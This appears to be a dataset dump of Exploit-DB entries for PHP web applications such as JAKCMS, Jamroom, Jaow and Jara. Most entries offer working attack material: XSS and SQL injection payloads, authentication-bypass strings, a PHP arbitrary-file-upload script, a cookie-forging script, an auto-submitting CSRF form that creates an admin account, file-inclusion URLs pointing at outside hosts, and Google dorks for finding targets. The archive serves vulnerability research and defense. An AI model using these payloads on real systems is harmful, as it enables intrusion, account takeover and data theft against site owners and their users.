deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16128
Description: jakcms 2.0 pro rc5 - Persistent Cross-Site Scripting via useragent http header Injection
Type: webapps
Platform: php
Date: 2011-02-07
Author: Saif El-Sherei

Exploit:
# Exploit Title: JAKCMS 2.0 PRO RC5 stored XSS via useragent HTTP header
Injection
# Date: 7-2-2011
# Author: Saif El-Sherei
# Software Link:
http://php.opensourcecms.com/scripts/redirect/download.php?id=480
# Version: JAKCMS PRO 2.0 RC5 and probably earlier version
# Tested on: Firefox 3.0.15, , IE 8
# Vendor Notified: vendor notified"7-2-2011", awaiting vendor response.
# Vendor Respons: http://www.jakcms.com/tracker/t/12/jakcms-2-pro-rc5-stored-xss-via-useragent-http-header-injection
# Google Dork: "Powered By JAKCMS"

Info:
Our content managament system PRO is made for professional websites any
kind. Content publishing, Forum, Blog, Events, Gallery, Tags, News,
Newsletter, Search, Security and more - the PRO has it all. CMS PRO is the
choice for people who are serious about creating thriving online websites.

Details:

An attacker can exploit this vuln since using an intercepting proxy, where
an attacker can modify the "user-agent HTTP header" the Header is displayed
and stroed unsantized in the admin logs on failed and successful logins.

POC:

useragent: <script>alert('XSS')</script>

Regards,

Saif El-Sherei
OSCP
Exploit-DB #37468
Description: JAKCMS PRO 2.2.6 - 'uploader.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2012-06-29
Author: Sammy FORGIT

Exploit:
source: https://www.securityfocus.com/bid/54238/info

JAKCMS PRO is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

JAKCMS PRO 2.2.6 is vulnerable; other versions may also be affected. 

<?php

$uploadfile="lo.php";

$ch = curl_init("http://www.example.com/admin/uploader/uploader.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, array('Filedata'=>"@$uploadfile",
                                            
  'catID'=>'../admin/css/calendar/'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);

print "$postResult";

?>
Exploit-DB #33485
Description: Jamit Job Board - 'post_id' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-01-11
Author: Crux

Exploit:
source: https://www.securityfocus.com/bid/37701/info

Jamit Job Board is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/jobs/index.php?type=[PII_REDACTED]email@address.tst&mode=view&pin_x=0&pin_y=0&post_id=1>">
Exploit-DB #26813
Description: Jamit Job Board 2.4.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-12-14
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15848/info

Job Board is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/index.php?cat=[SQL]
Exploit-DB #7235
Description: Jamit Job Board 3.x - Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-25
Author: XaDoS

Exploit:
[â– ]  Jamit Job Board v.3 (index.php show_emp) <= Blind $ql Injection

 
>â˜»<

> AuToR: XaDoS
> Contact M&: xados [at] hotmail [dot] it
> Site: www.securitycode.it
> BÂ§g: Blind $ql inJection
> SIte vuln: http://www.jamit.com

>â˜»<
 
 
[â– ] ExPL0iT:
 
|: http://www.example.com/index.php?show_emp=[sql] 
 
 
[â– ] DÂ£M0: 
 
|: http://www.jamit.com/jobs/index.php?show_emp=1%20and%20substring(@@version,1,1)=4 [NOÂ°Â°]
 
|: http://www.jamit.com/jobs/index.php?show_emp=1%20and%20substring(@@version,1,1)=5 [y&$] 
 
(l00k at the end of the PaG&)

 
[â– ] Th4nKs:::::>
 
\> Str0ke </\> Thc(MarJuana) </\> WiLLiam S. Burroughs </\> LiLiTh (You Ar& Mi!nE!) </

# milw0rm.com [2008-11-25]
Exploit-DB #5876
Description: Jamroom 3.3.5 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-06-20
Author: cyberlog

Exploit:
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Scripts         : CMS Jamroom Version: 3.3.5
Discovered By   : Cyberlog
Scripts site    : http://www.jamroom.net/
Download Script : http://www.jamroom.net/index.php?m=td_download&o=download&file_id=43
Thanks To       : #sekuritionline, #semprol, #bajingan, #mimid, #yogyafree
Special To      : k1n9k0ng, adhietslank, sukam, cah_gemblunkz, the_sims, aRiee
                  letjen, k1tk4t, inouf and jayoes
Site            : www.sekuritionline.net
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

bug Script:
require_once("{$jamroom['jm_dir']}/include/jamroom-payment.inc.php");

Bug Found:
http://www.site.com/include/plugins/jrBrowser/purchase.php?jamroom[jm_dir]=[shell]

# milw0rm.com [2008-06-20]
Exploit-DB #32121
Description: Jamroom 3.3.8 - Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2008-07-28
Author: GulfTech Security

Exploit:
source: https://www.securityfocus.com/bid/30406/info

Jamroom is prone to fourteen security vulnerabilities, including an authentication-bypass vulnerability that occurs because the application fails to verify user-supplied data.

Very few technical details are available regarding the remaining security vulnerabilities. We will update this BID when more information is disclosed.

An attacker can exploit the authentication-bypass vulnerability to gain administrative access to the affected application; other attacks are also possible. Effects of the remaining security vulnerabilities are not currently known. 

<?php
$data = array();
$user = 'admin'; // Target

$data[0] = base64_encode(serialize($user));
$data[1] = (bool)0;
echo "\n\n===[ 0 ] ========================\n\n";
echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));
$data[1] = (bool)1;
echo "\n\n===[ 1 ] ========================\n\n";
echo 'Cookie: JMU_Cookie=' . urlencode(serialize($data));
?>
Exploit-DB #8423
Description: Jamroom 4.0.2 - 't' Local File Inclusion
Type: webapps
Platform: php
Date: 2009-04-14
Author: zxvf

Exploit:
[o]-----------------------------------------------------------------------------------------------------------------[x]
 |  Local File Include Vulnerability                                                    |
[o]------------------------------------------------------------------------------------[o]
 |  Software : Jamroom version 3.1.2 , 3.2.3 , 3.2.4 , 3.2.5 , 3.2.6 , 4.0.2            |
 |  Vendor   : www.jamroom.net                                                          |
 |  Date     : 12 March 2009                                                            |
 |  Author   : zxvf                                                                     |
 |  Contact  : yuvant2blue@yahoo.co.id                                                   |
[o]------------------------------------------------------------------------------------[o]

[Â»] Google Dork

    "Powered by Jamroom"

[Â»] Exploit

    http://[site]/index.php?t=[LFI]%00

[Â»] Proof of Concept

    http://www.earplugradio.com//index.php?t=[LFI]%00

[o]------------------------------------------------------------------------------------[x]
 |  Greetz                                                                              |
[o]------------------------------------------------------------------------------------[o]
 |  c0li, OoN_Boy, pizzyroot, H312Y, eminem, xx_user, NoGe                              |
 |  Armageddon Team, avatar team, and all indonesian hacker!                            |
 |  BeHave oR BeGone !!!                                                                |
[o]------------------------------------------------------------------------------------[o]

# milw0rm.com [2009-04-14]
Exploit-DB #34183
Description: Jamroom 4.0.2/4.1.x - 'forum.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2010-06-21
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/41071/info

Jamroom is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Jamroom versions prior to 4.1.9 are vulnerable. 

http://www.example.com/forum.php?mode=modify&band_id=0&t=<T>&c=<C>&post_id=<POST_ID>%00%27%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
Exploit-DB #37028
Description: JamWiki 1.1.5 - 'num' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-30
Author: Sooraj K.S

Exploit:
source: https://www.securityfocus.com/bid/52829/info

JamWiki is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

JamWiki 1.1.5 is vulnerable; other versions may also be affected. 

http://www.example.com/jamwiki/en/Special:AllPages?num=[XSS]
Exploit-DB #24692
Description: Jan Erdmann Jebuch 1.0 - HTML Injection
Type: webapps
Platform: php
Date: 2004-10-19
Author: PuWu

Exploit:
source: https://www.securityfocus.com/bid/11463/info

It is reported that Jebuch is susceptible to an HTML injection vulnerability. This issue is due to a failure of the application to properly sanitize user-supplied input.

This may allow an attacker to inject malicious HTML and script code into the application. An unsuspecting user viewing a page that contains the malicious embedded code will have the attacker-supplied script executed within their browser in the context of the vulnerable site. This issue may be leveraged to steal cookie based authentication credentials. Other attacks are also possible.

Version 1.0 of Jebuch is reported vulnerable to this issue.

[img]"?" onError="window.location='http://www.example.com'"[/img]
Exploit-DB #18921
Description: Jaow 2.4.5 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-05-24
Author: kallimero

Exploit:
# Exploit Title: Jaow <= 2.4.5 Blind Sql Injection
# Google Dork: intext:"propuls� par jaow 2.4.5"
# Date: 23/05/2012
# Software Link: http://www.jaow.net/telechargements/Jaow_V2.4.5.zip
# Version: 2.4.5
# Tested on: Debian GNU/Linux
# Author: kallimero


= Introduction =


Jaow is a CMS that can manage sites of small sizes, thanks to its simple,
commented code you can easily create templates and / or create modules to
suit your needs. Jaow is the solution for small sites, blogs or portfolio.

= Details =

Unfortunately, a Blind SQL injection is possible in the 2.4.5 core.

Vulnerable page : add_ons.php
Extract from the source :

-------------[ add_ons.php ]--------------
   // On stocke dans une variable simple le add_on demand�
    $add_on = stripslashes($_GET['add_ons']);

    // On recherche si l'add_on est install�

    echo 'SELECT id,nom FROM '.$db_prefix.'add_ons WHERE nom="'.$add_on.'"
AND actif="1"';

    $query_add_ons = mysql_query('SELECT id,nom FROM '.$db_prefix.'add_ons
WHERE nom="'.$add_on.'" AND actif="1"');

-------------[ add_ons.php ]--------------

So, we can inject sql with the add_ons variable, like that :
http://[site]/[path]/add_ons.php?add_ons=[SQL injection]


= Solutions =

Update is avalaible here : http://www.jaow.net/Article-97


= Thanks =

Thanks to  necromoine, fr0g, st0rn, applestorm, Zhyar, k3nz0, m4ke and all
hwc-crew members. http://hwc-crew.com/
And all npn members. http://n-pn.info/
Exploit-DB #38408
Description: Jaow CMS - 'add_ons' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-03-23
Author: Metropolis

Exploit:
source: https://www.securityfocus.com/bid/58658/info

Jaow CMS is prone to a cross-site scripting vulnerability.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Jaow CMS 2.4.8 is vulnerable; other versions may also be affected. 

http://www.example.com/path/add_ons.php?add_ons=[XSS]
Exploit-DB #20598
Description: Jaow CMS 2.3 - Blind SQL Injection
Type: webapps
Platform: php
Date: 2012-08-17
Author: loneferret

Exploit:
# Author: loneferret of Offensive Security
# Product: Jaow CMS 
# Version: v2.3
# Vendor Site: http://www.jaow.net
# Software Download: http://www.jaow.net

# Description: Small free CMS application, no programming experienced needed to install
# and administer.

# Vulnerability:
# Blind-SQL in login form. 
# Page: /connexion.php
# Parameter: login
# PoC: x' or (sleep(10)+1) limit 1 -- 

# With a little time, I'm sure someone could come up with a script to get the admin's
# hash out of MySql.
Exploit-DB #20573
Description: Jaow CMS 2.3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2012-08-17
Author: DaOne

Exploit:
##########################################
[~] Exploit Title: Jaow CMS v2.3 CSRF Vulnerability
[~] Author: DaOne [LCA]
[~] Date: 15/8/2012
[~] Software Link: http://www.jaow.net
[~] Or: http://scripts.toocharger.com/fiches/scripts/jaow/5370.htm
##########################################

[#] [ CSRF Add Admin ]

<html>
<body onload="document.form0.submit();">
<form method="POST" name="form0" action="http://[target]/administration/utilisateur.php">
<input type="hidden" name="Nom" value="webadmin"/>
<input type="hidden" name="Prenom" value="webadmin"/>
<input type="hidden" name="Pseudo" value="webadmin"/>
<input type="hidden" name="Mdp" value="pass123"/>
</form>
</body>
</html>

##########################################
Exploit-DB #30703
Description: Japanese PHP Gallery Hosting - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2007-10-23
Author: Pete Houston

Exploit:
source: https://www.securityfocus.com/bid/26179/info

Japanese PHP Gallery Hosting is prone to an arbitrary-file-upload vulnerability because it fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Versions of Japanese PHP Gallery Hosting released prior to 10/2007 are vulnerable.

http://www.example.com/upload/upload.php?ServerPath=http://www.example2.com/malicious.php.arbitraryextension
Exploit-DB #37644
Description: Jara 1.6 - Multiple SQL Injections / Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-08-22
Author: Canberk BOLAT

Exploit:
source: https://www.securityfocus.com/bid/55145/info

Jara is prone to multiple SQL-injection vulnerabilities and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Jara 1.6 is vulnerable; other versions may also be affected. 

SQL Injection Vulnerabilities:

http://example.com/login.php (POST - username)

http://example.com/login.php (POST - password)

http://example.com/admin/delete_page.php?id='%2BNSFTW%2B&apos;

http://example.com/admin/delete_post.php?id='%2BNSFTW%2B&apos;

http://example.com/admin/delete_category.php?id='%2BNSFTW%2B&apos;

http://example.com/admin/delete_user.php?id='%2BNSFTW%2B&apos;

http://example.com/admin/edit_page.php?id='%2BNSFTW%2B&apos;

http://example.com/admin/edit_user.php?id='%2BNSFTW%2B&apos;

http://example.com/admin/edit_post.php (POST - id)

http://example.com/admin/edit_category.php (POST - id)


Cross-site scripting Vulnearbilities:

http://example.com/view.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0031F8)%3C/script%3E

http://example.com/page.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003214)%3C/script%3E

http://example.com/category.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0032D5)%3C/script%3E

http://example.com/login.php (POST - username)

http://example.com/login.php (POST - password)

http://example.com/admin/delete_page.php?id='%3E%3Cscript%3Enetsparker(9)%3C/script%3E

http://example.com/admin/delete_category.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003548)%3C/script%3E

http://example.com/admin/delete_post.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0034CE)%3C/script%3E

http://example.com/admin/delete_user.php?id='%3E%3Cscript%3Enetsparker(9)%3C/script%3E

http://example.com/admin/edit_post.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x0034D5)%3C/script%3E

http://example.com/admin/edit_category.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003542)%3C/script%3E

http://example.com/admin/edit_page.php?id='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x003569)%3C/script%3E

http://example.com/admin/edit_user.php?id='%3E%3Cscript%3Enetsparker(9)%3C/script%3E
Exploit-DB #18069
Description: Jara 1.6 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-11-03
Author: Or4nG.M4N

Exploit:
#!/Mohammed/bin/YahYa
# Jara v1.6 Multiple Vulnerabilities 
# -------------------------------------------[+]
# download : http://sourceforge.net/projects/jara/files/v1.6/jarav16.zip
# AutHOr   : Or4nG.M4n
# cOntAct  :  priv8te[at]hotmail.com
# versiOn  : v1.6
# Tested   : My Mind (:
# -------------------------------------------[+]
#
[ Exploit ] Sql injection ~ ~
|=> /category.php?id=999999.9'[Here]
# Vulnerable code : category.php
#		@$categoryid = $_REQUEST["id"]; <= [1]
#		$category = jara_get_category($categoryid); <=[2]
#		jara_page_start("Category: ".$category["title"]); <=[3]
#		$query = "select * from jara_posts where categoryid = '$categoryid'"; <=[4]
#		$result = jara_db_query($query); <=[5]
#
[ Exploit ] Auth Bypass ~
|=> admin ' or 1=1 # 
# Vulnerable code : auth_fns.php
#	    function jara_user_authenticate($username, $password) { <=[1]
#		$query = "select * from jara_users where username = '$username' and password = SHA1('$password') limit 1"; <=[2]
#		$result = jara_db_query($query); <=[3]
#
[ Exploit ] Cross Site Scrpting ~
|=> POST : <h1>DDD<h1> => your xss Code
# Vulnerable code : search.php
#			$num_rows = $result->num_rows;
#			echo "<p><strong>$num_rows</strong> results for <strong>".stripslashes($term)."</strong>.</p>";
# ~ End
# -------------------------------------------[+]
#  Greet : sA^Dev!L , xSs m4n , Tryag Team 
# Cyb3r-Crystal , Dr.Banned [Miss u] , i-hmx
# -------------------------------------------[+]
Exploit-DB #18020
Description: Jara 1.6 - SQL Injection
Type: webapps
Platform: php
Date: 2011-10-23
Author: muuratsalo

Exploit:
jara 1.6 sql injection vulnerability

download  http://sourceforge.net/projects/jara/files/v1.6/jarav16.zip

author      muuratsalo
contact     muuratsalo[at]gmail.com

exploit
http://localhost/jara/view.php?id=[SQL Injection]
Exploit-DB #17895
Description: Jarida 1.0 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2011-09-27
Author: Ptrace Security

Exploit:
# Exploit Title:   Jarida 1.0 SQL Injection
# Date         :   26 September 2011
# Author       :   Ptrace Security (Gianni Gnesa [gnix])
# Contact      :   research[at]ptrace-security[dot]com
# Software Link:   http://sourceforge.net/projects/jarida/
# Version      :   1.0
# Tested on    :   CentOS 5.6
 
 
[01] ./article.php:28:  $query = "SELECT article_id FROM tblArticle WHERE article_id = " . $_GET['id'];
     => ./sqlmap.py -u http://192.168.109.111/jarida_1.0/article.php?id=1 --dump --tables


[02] ./comment.php

     36 $name = $_POST['name'];
     37 $web = $_POST['web'];
     38 $title = $_POST['title'];
     39 $body = $_POST['body'];
     40 $ip = $_SERVER['REMOTE_ADDR'];
     41 $article_id = $_POST['id'];
     42 $date = time();
     43 
     ...
     56 
     57 switch($_POST['type'])
     58 {
     59  case 'article':
     60    $redirect_url = "./article.php?id=" . $_POST['id'];
     61    $query = "INSERT INTO tblArticleComment (comment_article_id, comment_title, comment_date, comment_body, comment_name, comment_web, comment_ip)
     62                 VALUES('$article_id', '$title', '$date', '$body', '$name', '$web', '$ip')";
     63    break;
     64 
     65  case 'photo':
     66    $redirect_url = "./photo.php?id=" . $_POST['id'];
     67    $query = "INSERT INTO tblPhotoComment (comment_photo_id, comment_title, comment_date, comment_body, comment_name, comment_web, comment_ip)
     68                 VALUES('$article_id', '$title', '$date', '$body', '$name', '$web', '$ip')";
     69    break;
     70 }


[03] ./photo.php

     39   $query = "SELECT photo_id FROM tblPhoto
     40                  WHERE photo_id = " . $_GET['id'];
Exploit-DB #52091
Description: Jasmin Ransomware - SQL Injection Login Bypass
Type: webapps
Platform: php
Date: 2025-03-21
Author: Buğra Enis Dönmez

Exploit:
# Exploit Title: Jasmin Ransomware SQL Injection Login Bypass
# Google Dork: N/A
# Date: 05-03-2025
# Exploit Author: Buğra Enis Dönmez
# Vendor Homepage: https://github.com/codesiddhant/Jasmin-Ransomware
# Software Link: https://github.com/codesiddhant/Jasmin-Ransomware
# Version: N/A
# Tested on: Windows

How to exploit :

--> Open Admin Panel Through : http://localhost/login.php

--> Enter the SQL Injection Auth Bypass Payload to Email like : '=' 'or'

--> And to Access Code, Enter the same SQL Injection Authentication Bypass Payload : '=' 'or'

--> Press Authorize

--> Congratz, you're in

--> SQL Injection Authentication Bypass Payload : '=' 'or'

--> Payloads Can be use :

' or '1'='1

' or ''='

'=' 'or'

' OR '1'='1';-- -

' or 1 -- -
Exploit-DB #2505
Description: JASmine 0.0.2 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-10
Author: DarkFig

Exploit:
#
# Title..: 7 php scripts File Inclusion Vuln / Source disclosure
# Credits: DarkFig
# Og.link: http://acid-root.new.fr/poc/13061007.txt
#
# Using http://www.google.com/codesearch
# Few examples about what we can do with a code search engine
# For educational purpose only.
#
# You can use regex in your research, this can be chaotic.
# What's your opinion about the google code search project ?
#

# Affected.scr: Jasmine-Web
# Download....: http://www.sourcefiles.org/Utilities/Printer/Jasmine-Web-0.0.2.tar.bz2
# Poc.........: http://victim.pl/index.php?section=ftp://hack.com/backdrphpext
# Vuln.code...: if (isset($_GET['section']) && file_exists($_GET['section'].".php")){
#               include_once($_GET['section'].".php");

# milw0rm.com [2006-10-10]